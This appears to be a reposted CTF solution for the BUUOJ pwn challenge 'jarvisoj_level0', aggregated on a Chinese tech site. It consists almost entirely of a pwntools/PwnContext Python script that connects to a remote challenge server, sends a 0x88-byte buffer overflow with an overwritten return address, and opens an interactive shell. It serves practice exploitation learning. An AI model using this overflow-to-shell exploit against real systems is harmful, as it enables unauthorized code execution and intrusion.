ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTF-Buuoj-Pwn-jarvisoj_level0

2022-07-07 13:03:36  阅读:184  来源: 互联网

标签:name libc elf ctx jarvisoj CTF Pwn data lambda


#-----------------------------------------------------------------------------------------------
# coding:UTF-8                                                                                 |
# author:zxcyyyyy000                                                                           |
# :)                                                                                           |
#-----------------------------------------------------------------------------------------------
from PwnContext import *
from pwnlib.util.packing import p32
from pwnlib.util.packing import p64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u64
#-----------------------------------------------------------------------------------------------
s       = lambda data               :ctx.send(str(data))
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
sl      = lambda data               :ctx.sendline(str(data))
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=False :ctx.recvuntil(delims, drop)
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
irt     = lambda                    :ctx.interactive()
p       = lambda                    :pause()
#-----------------------------------------------------------------------------------------------
Debug                     = 0
file_name                 = 'level0'
target_addr               = 'node4.buuoj.cn:29259'
libc_name                 = ''
libc_path                 = '/home/ubuntu/Tools/libc-database/libs/' + libc_name + '/'
context.log_level         = 'DEBUG'
ctx.binary                = file_name
if Debug == 0:
    elf                   = ELF(file_name)
    if(libc_name != ''):
        libc                  = ELF(libc_path+'libc.so.6')
    context.os            = elf.os
    context.arch          = elf.arch
    ctx.remote=(str((target_addr.split(':'))[0]),int((target_addr.split(':'))[1]))
    ctx.start('remote')
elif Debug == 1:
    ctx.custom_lib_dir    = libc_path
    ctx.debug_remote_libc = True
    elf                   = ELF(file_name)
    libc                  = ELF(libc_path+'libc.so.6')
    context.os            = elf.os
    context.arch          = elf.arch
    ctx.start()
elif Debug == 2:
    elf                   = ELF(file_name)
    ctx.start()
else:
    print("Error")
    exit(1)
#-----------------------------------------------------------------------------------------------
def Exploit():
    sl(0x88*'a'+p64(0x0000000000400596))
    irt()
#-----------------------------------------------------------------------------------------------
Exploit()

image

标签:name,libc,elf,ctx,jarvisoj,CTF,Pwn,data,lambda
来源: https://www.cnblogs.com/zxcyyyyy000/p/16454268.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有